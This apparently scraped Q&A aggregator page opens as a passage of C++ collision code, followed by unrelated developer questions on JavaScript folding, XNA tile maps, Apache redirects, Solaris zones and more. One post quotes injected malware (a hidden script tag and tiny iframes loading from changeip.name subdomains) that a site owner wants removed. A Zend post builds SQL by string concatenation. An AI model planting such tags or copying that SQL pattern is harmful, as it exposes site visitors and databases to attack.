0?-1:0); Vec2 c1(( D*V.y+sgnvy*V.x*Delta) / V.length2(), (-D*V.x+fabs(V.y)*Delta) / V.length2()); Vec2 c2(( D*V.y-sgnvy*V.x*Delta) / V.length2(), (-D*V.x-fabs(V.y)*Delta) / V.length2()); float t1 = (c1.x - P.x) / V.x; float t2 = (c2.x - P.x) / V.x; if(t1 > eps && t1 <= collisionTime) { collisionTime = t1; collisionNormal = c1; } if(t2 > eps && t2 <= collisionTime) { collisionTime = t2; collisionNormal = c2; } } } // this function should step the world forward by dt. it doesn't check for collision of any two balls (components) // it just checks if there is a collision between the current component and 4 points forming a rectangle around it. void PhysicalWorld::step(float dt) { for (unsigned i=0;i<mObjects.size();i++) { PhysicsComponent &current = *mObjects[i]; Vec2 acceleration = current.mForces * current.mInvMass; float rt=dt; // stores how much more the world should advance while(rt > eps) { float collisionTime = rt; Vec2 collisionNormal = Vec2(0,0); float halfWallWidth = mMap->getWallWidth() / (mMap->getWallWidth() + mMap->getHallWidth()) / 2; // we check if there is any collision with any of those 4 points around the ball // if there is a collision both collisionNormal and collisionTime variables will change // after these functions collisionTime will be exactly the value of nearest collision (if any) // and if there was, collisionNormal will report in which direction the ball should return. checkForPointCollision(acceleration,current,collisionNormal,collisionTime,Vec2(floor(current.mPosition.x) + halfWallWidth,floor(current.mPosition.y) + halfWallWidth)); checkForPointCollision(acceleration,current,collisionNormal,collisionTime,Vec2(floor(current.mPosition.x) + halfWallWidth, ceil(current.mPosition.y) - halfWallWidth)); checkForPointCollision(acceleration,current,collisionNormal,collisionTime,Vec2( ceil(current.mPosition.x) - halfWallWidth,floor(current.mPosition.y) + halfWallWidth)); checkForPointCollision(acceleration,current,collisionNormal,collisionTime,Vec2( ceil(current.mPosition.x) - halfWallWidth, ceil(current.mPosition.y) - halfWallWidth)); // either if there is a collision or if there is not we step the forward since we are sure there will be no collision before collisionTime current.mPosition += collisionTime * (collisionTime * acceleration * 0.5 + current.mVelocity); current.mVelocity += collisionTime * acceleration; // if the ball collided with anything collisionNormal should be at least none zero in one of it's axis if (collisionNormal.any()) { collisionNormal *= Dot(collisionNormal, current.mVelocity) / collisionNormal.length2(); current.mVelocity -= 2 * collisionNormal; // simply reverse velocity along collision normal direction } rt -= collisionTime; } // reset all forces for current object so it'll be ready for later game event current.mForces.zero(); } }

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  • JavaScript: Code Folding

    - by Petr
    Today I would like to mentioned code folding in the new JavaScript editor support, which is available in the continual builds from our server. It's a basic feature, but was mentioned in a comment under the mentioned post. So you can fold comments and every code block between { and }. The current support allows only methods to be folded. The difference is shown below. In the picture on the left side is the current folding and on the right side the new one.   The code folding can be switched off in the Editor Options (Tools main menu -> Options -> Editor category -> General Tab). In this dialog you can also define which folds should be collapsed by default when you open a file. These options more closely fit Java editor needs, but you can see in the next picture how the options are mapped for JavaScript code.  The Method option folds all functions in the code. Other code blogs are fold through the option Tags and Other Code Blogs.  The documentation comments (starts with /**) are fold through Javadoc Comments and when you check Initial Comment, then all comments that start with /* are folded by default.  The new JavaScript editor also supports custom folds. To add your custom fold, type in two special comments as shown in this example: // <editor-fold> Your code goes here... // </editor-fold> You can define the default description of a collapsed fold by adding a "desc" attribute: // <editor-fold desc="This is my super secret genius code."> Your code goes here... // </editor-fold> You can set a fold to be collapsed by default by adding a "defaultstate" attribute: // <editor-fold defaultstate="collapsed"> Your code goes here... // </editor-fold> There is a code template that helps with writing custom fold comments. The abbreviation for the template is fcom. As I wrote the new JS support is available in the continual builds. Go here for more info.

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  • Comments section being indented by mysterious CSS

    - by Steve
    I use Disqus comments plugin for Wordpress, and the comments section is indented to the right like a blockquote is. The code appearing in the front end post is: <div id="disqus_thread"> <div id="dsq-content"> <ul id="dsq-comments"> </ul> </div> </div> I cannot find any instance of disqus_thread or dsq using a search of the theme folder; not that searching inside file in Windows 7 isn't a complete pain in the arse. Can you see why this is happening? Example post here.

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  • XNA: Huge Tile Map, long load times

    - by Zach
    Recently I built a tile map generator for a game project. What I am very proud of is that I finally got it to the point where I can have a GIANT 2D map build perfectly on my PC. About 120000pixels by 40000 pixels. I can go larger actually, but I have only 1 draw back. #1 ram, the map currently draws about 320MB of ram and I know the Xbox allows 512MB I think? #2 It takes 20 mins for the map to build then display on the Xbox, on my PC it take less then a few seconds. I need to bring that 20 minutes of generating from 20 mins to how ever little bit I can, and how can a lower the amount of RAM usage while still being able to generate my map. Right now everything is stored in Jagged Arrays, each piece generating in a size of 1280x720 (the mother piece). Up to the amount that I need, every block is exactly 40x40 pixels however the blocks get removed from a List or regenerated in a List depending how close the mother piece is to the player. Saving A LOT of CPU, so at all times its no more then looping through 5184 some blocks. Well at least I'm sure of this. But how can I lower my RAM usage without hurting the size of the map, and how can I lower these INSANE loading times? EDIT: Let me explain my self better. Also I'd like to let everyone know now that I'm inexperienced with many of these things. So here is an example of the arrays I'm using. Here is the overall in a shorter term: int[][] array = new int[30][]; array[0] = new int[] { 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 }; array[1] = new int[] { 1, 3, 3, 3, 3, 1, 0, 0, 0, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 }; that goes on for around 30 arrays downward. Now for every time it hits a 1, it goes and generates a tile map 1280x720 and it does that exactly the way it does it above. This is how I loop through those arrays: for (int i = 0; i < array.Length; i += 1) { for (int h = 0; h < array[i].Length; h += 1) { } { Now how the tiles are drawn and removed is something like this: public void Draw(SpriteBatch spriteBatch, Vector2 cam) { if (cam.X >= this.Position.X - 1280) { if (cam.X <= this.Position.X + 2560) { if (cam.Y >= this.Position.Y - 720) { if (cam.Y <= this.Position.Y + 1440) { if (visible) { if (once == 0) { once = 1; visible = false; regen(); } } for (int i = Tiles.Count - 1; i >= 0; i--) { Tiles[i].Draw(spriteBatch, cam); } for (int i = unWalkTiles.Count - 1; i >= 0; i--) { unWalkTiles[i].Draw(spriteBatch, cam); } } else { once = 0; for (int i = Tiles.Count - 1; i >= 0; i--) { Tiles.RemoveAt(i); } for (int i = unWalkTiles.Count - 1; i >= 0; i--) { unWalkTiles.RemoveAt(i); } } } else { once = 0; for (int i = Tiles.Count - 1; i >= 0; i--) { Tiles.RemoveAt(i); } for (int i = unWalkTiles.Count - 1; i >= 0; i--) { unWalkTiles.RemoveAt(i); } } } else { once = 0; for (int i = Tiles.Count - 1; i >= 0; i--) { Tiles.RemoveAt(i); } for (int i = unWalkTiles.Count - 1; i >= 0; i--) { unWalkTiles.RemoveAt(i); } } } else { once = 0; for (int i = Tiles.Count - 1; i >= 0; i--) { Tiles.RemoveAt(i); } for (int i = unWalkTiles.Count - 1; i >= 0; i--) { unWalkTiles.RemoveAt(i); } } } } If you guys still need more information just ask in the comments.

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  • How to remove this malware

    - by muratto12
    Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them? <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda--> <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0> <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height =5 border=0>

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  • Calling MSSQL stored procedure from Zend Controller ? Any other approaches?

    - by Bhavin Rana
    MSSQL and DB, Zend as PHP Framework, I am using this way to call SP with I/P Parameters and to get O/p Parameters. It seems I am writing SQL code in PHP. Any other good approaches? $str1 = "DECLARE @Msgvar varchar(100); DECLARE @last_id int; exec DispatchProduct_m_Ins $DispatchChallanId,'$FRUNo',$QTY,$Rate,$Amount, ".$this->cmpId.",".$this->aspId.",".$this->usrId.",@Msg = @Msgvar OUTPUT,@LAST_ID = @last_id OUTPUT; SELECT @Msgvar AS N'@Msg',@last_id AS '@LAST_ID'; ";//Calling SP $stmt = $db->prepare($str1); $stmt->execute(); $rsDispProd = $stmt->fetchAll(); $DispatchProductId = $rsDispProd[0]["@LAST_ID"];//get last ins ID as O/p Parameter

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  • Monogame - Input secuence game (Scripting?)

    - by user2662567
    I'm starting to program my very first game, it's a clone of DDR/Stepmania done for research purposes and learning. I (at this early stage) get most of the UI/Music/input work that should be done, but what i still can't grasp is scripting, i've read about Lua and that you shouldn't use it with XNA/Monogame as C# is capable enough, but i cannot get the utility of it. Assuming the needs of my game, ¿What would be the ideal way to implement the input secuences it needs?, i thought of XML/Json, let's say Stage 1 <game> <level id="1"> <step id="1" key="up" time="00:00:01"/> <step id="2" key="left" time="00:00:02"/> </level> </game> Is that a correct implementation? or are there better ways with more benefits?

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  • Help with this optimization

    - by Milo
    Here is what I do: I have bitmaps which I draw into another bitmap. The coordinates are from the center of the bitmap, thus on a 256 by 256 bitmap, an object at 0.0,0.0 would be drawn at 128,128 on the bitmap. I also found the furthest extent and made the bitmap size 2 times the extent. So if the furthest extent is 200,200 pixels, then the bitmap's size is 400,400. Unfortunately this is a bit inefficient. If a bitmap needs to be drawn at 500,500 and the other one at 300,300, then the target bitmap only needs to be 200,200 in size. I cannot seem to find a correct way to draw in the components correctly with a reduced size. I figure out the target bitmap size like this: float AvatarComposite::getFloatWidth(float& remainder) const { float widest = 0.0f; float widestNeg = 0.0f; for(size_t i = 0; i < m_components.size(); ++i) { if(m_components[i].getSprite() == NULL) { continue; } float w = m_components[i].getX() + ( ((m_components[i].getSprite()->getWidth() / 2.0f) * m_components[i].getScale()) / getWidthToFloat()); float wn = m_components[i].getX() - ( ((m_components[i].getSprite()->getWidth() / 2.0f) * m_components[i].getScale()) / getWidthToFloat()); if(w > widest) { widest = w; } if(wn > widest) { widest = wn; } if(w < widestNeg) { widestNeg = w; } if(wn < widestNeg) { widestNeg = wn; } } remainder = (2 * widest) - (widest - widestNeg); return widest - widestNeg; } And here is how I position and draw the bitmaps: int dw = m_components[i].getSprite()->getWidth() * m_components[i].getScale(); int dh = m_components[i].getSprite()->getHeight() * m_components[i].getScale(); int cx = (getWidth() + (m_remainderX * getWidthToFloat())) / 2; int cy = (getHeight() + (m_remainderY * getHeightToFloat())) / 2; cx -= m_remainderX * getWidthToFloat(); cy -= m_remainderY * getHeightToFloat(); int dx = cx + (m_components[i].getX() * getWidthToFloat()) - (dw / 2); int dy = cy + (m_components[i].getY() * getHeightToFloat()) - (dh / 2); g->drawScaledSprite(m_components[i].getSprite(),0.0f,0.0f, m_components[i].getSprite()->getWidth(),m_components[i].getSprite()->getHeight(),dx,dy, dw,dh,0); I basically store the difference between the original 2 * longest extent bitmap and the new optimized one, then I translate by that much which I would think would cause me to draw correctly but then some of the components look cut off. Any insight would help. Thanks

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  • Redirect Permanent and https

    - by Clem
    I just set up https on my server, and I have an issue with redirect permanent. If I have a link for example http://domain.com/index.html it redirect me on https://www.domain.comindex.html The / is missing and I can't figure out how to fix it. It's work with http://www.domain.com/index.html Here is my httpd.conf <VirtualHost *:80> ServerName domain.com Redirect permanent / https://www.domain.com/ </VirtualHost> <VirtualHost *:80> ServerName www.domain.com Redirect permanent / https://www.domain.com/ </VirtualHost> <VirtualHost *:443> DocumentRoot /var/www/domain/ ServerName www.domain.com SSLEngine on SSLCertificateFile ssl.crt SSLCertificateKeyFile ssl.key </VirtualHost>

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  • Automating custom software installation in a zone

    - by mgerdts
    In Solaris 11, the internals of zone installation are quite different than they were in Solaris 10.  This difference allows the administrator far greater control of what software is installed in a zone.  The rules in Solaris 10 are simple and inflexible: if it is installed in the global zone and is not specifically excluded by package metadata from being installed in a zone, it is installed in the zone.  In Solaris 11, the rules are still simple, but are much more flexible:  the packages you tell it to install and the packages on which they depend will be installed. So, where does the default list of packages come from?  From the AI (auto installer) manifest, of course.  The default AI manifest is /usr/share/auto_install/manifest/zone_default.xml.  Within that file you will find:             <software_data action="install">                 <name>pkg:/group/system/solaris-small-server</name>             </software_data> So, the default installation will install pkg:/group/system/solaris-small-server.  Cool.  What is that?  You can figure out what is in the package by looking for it in the repository with your web browser (click the manifest link), or use pkg(1).  In this case, it is a group package (pkg:/group/), so we know that it just has a bunch of dependencies to name the packages that really wants installed. $ pkg contents -t depend -o fmri -s fmri -r solaris-small-server FMRI compress/bzip2 compress/gzip compress/p7zip ... terminal/luit terminal/resize text/doctools text/doctools/ja text/less text/spelling-utilities web/wget If you would like to see the entire manifest from the command line, use pkg contents -r -m solaris-small-server. Let's suppose that you want to install a zone that also has mercurial and a full-fledged installation of vim rather than just the minimal vim-core that is part of solaris-small-server.  That's pretty easy. First, copy the default AI manifest somewhere where you will edit it and make it writable. # cp /usr/share/auto_install/manifest/zone_default.xml ~/myzone-ai.xml # chmod 644 ~/myzone-ai.xml Next, edit the file, changing the software_data section as follows:             <software_data action="install">                 <name>pkg:/group/system/solaris-small-server</name>                 <name>pkg:/developer/versioning/mercurial</name>                <name>pkg:/editor/vim</name>             </software_data> To figure out  the names of the packages, either search the repository using your browser, or use a command like pkg search hg. Now we are all ready to install the zone.  If it has not yet been configured, that must be done as well. # zonecfg -z myzone 'create; set zonepath=/zones/myzone' # zoneadm -z myzone install -m ~/myzone-ai.xml A ZFS file system has been created for this zone. Progress being logged to /var/log/zones/zoneadm.20111113T004303Z.myzone.install Image: Preparing at /zones/myzone/root. Install Log: /system/volatile/install.15496/install_log AI Manifest: /tmp/manifest.xml.XfaWpE SC Profile: /usr/share/auto_install/sc_profiles/enable_sci.xml Zonename: myzone Installation: Starting ... Creating IPS image Installing packages from: solaris origin: http://localhost:1008/solaris/54453f3545de891d4daa841ddb3c844fe8804f55/ DOWNLOAD PKGS FILES XFER (MB) Completed 169/169 34047/34047 185.6/185.6 PHASE ACTIONS Install Phase 46498/46498 PHASE ITEMS Package State Update Phase 169/169 Image State Update Phase 2/2 Installation: Succeeded Note: Man pages can be obtained by installing pkg:/system/manual done. Done: Installation completed in 531.813 seconds. Next Steps: Boot the zone, then log into the zone console (zlogin -C) to complete the configuration process. Log saved in non-global zone as /zones/myzone/root/var/log/zones/zoneadm.20111113T004303Z.myzone.install Now, for a few things that I've seen people trip over: Ignore that bit about man pages - it's wrong.  Man pages are already installed so long as the right facet is set properly.  And that's a topic for another blog entry. If you boot the zone then just use zlogin myzone, you will see that services you care about haven't started and that svc:/milestone/config:default is starting.  That is because you have not yet logged into the console with zlogin -C myzone. If the zone has been booted for more than a very short while when you first connect to the zone console, it will seem like the console is hung.  That's not really the case - hit ^L (control-L) to refresh the sysconfig(1M) screen that is prompting you for information.

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  • How do I correctly sub-license a library that is under the MIT license?

    - by Petah
    How do I correctly sub-license a library that is under the MIT license. I am using and extending the library. The MIT license states that I am free to sub-license the library. Can I simply state: <Software library> is copyright <original author> and licensed under the MIT license. <orignal license> Extensions to <Software library> are copyright <me> and licensed under the GPL license, or commercial license if applicable. <GPL, or commercial license>

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  • TinyMCE autoresize plugin not works

    - by user31929
    I want to reproduce this simply behaviour : http://tinymcesupport.com/tutorials/autoresize-automatic-resize-plugin This is my init: <!-- TinyMCE --> <script type="text/javascript" src="js/jscripts/tiny_mce/tiny_mce.js"></script> <script type="text/javascript"> tinyMCE.init({ mode : "exact", elements : "pagina_testo_colonna1,pagina_testo_colonna2,pagina_testo_colonna3", theme : "advanced", plugins:"paste,autoresize", plugin_preview_width : "100%", width : "100%", theme_advanced_buttons1 : "pastetext,|,bold,italic,underline,strikethrough,|,bullist,numlist,|,indent,outdent,|,undo,redo,|,justifyleft,justifycenter,justifyright,justifyfull,|,link,unlink,|,charmap", theme_advanced_buttons2 : "", theme_advanced_buttons3 :"", theme_advanced_disable : "image,anchor,cleanup,help,code,hr,removeformat,sub,sup", theme_advanced_resizing : true, paste_text_use_dialog : true, relative_urls : false, remove_script_host : false }); </script> <!-- /TinyMCE --> i have added "autoresize" to plugins list but my editors not resize while i writing, they simply scroll. I have multiple editor in the same page. What's wrong with my code?

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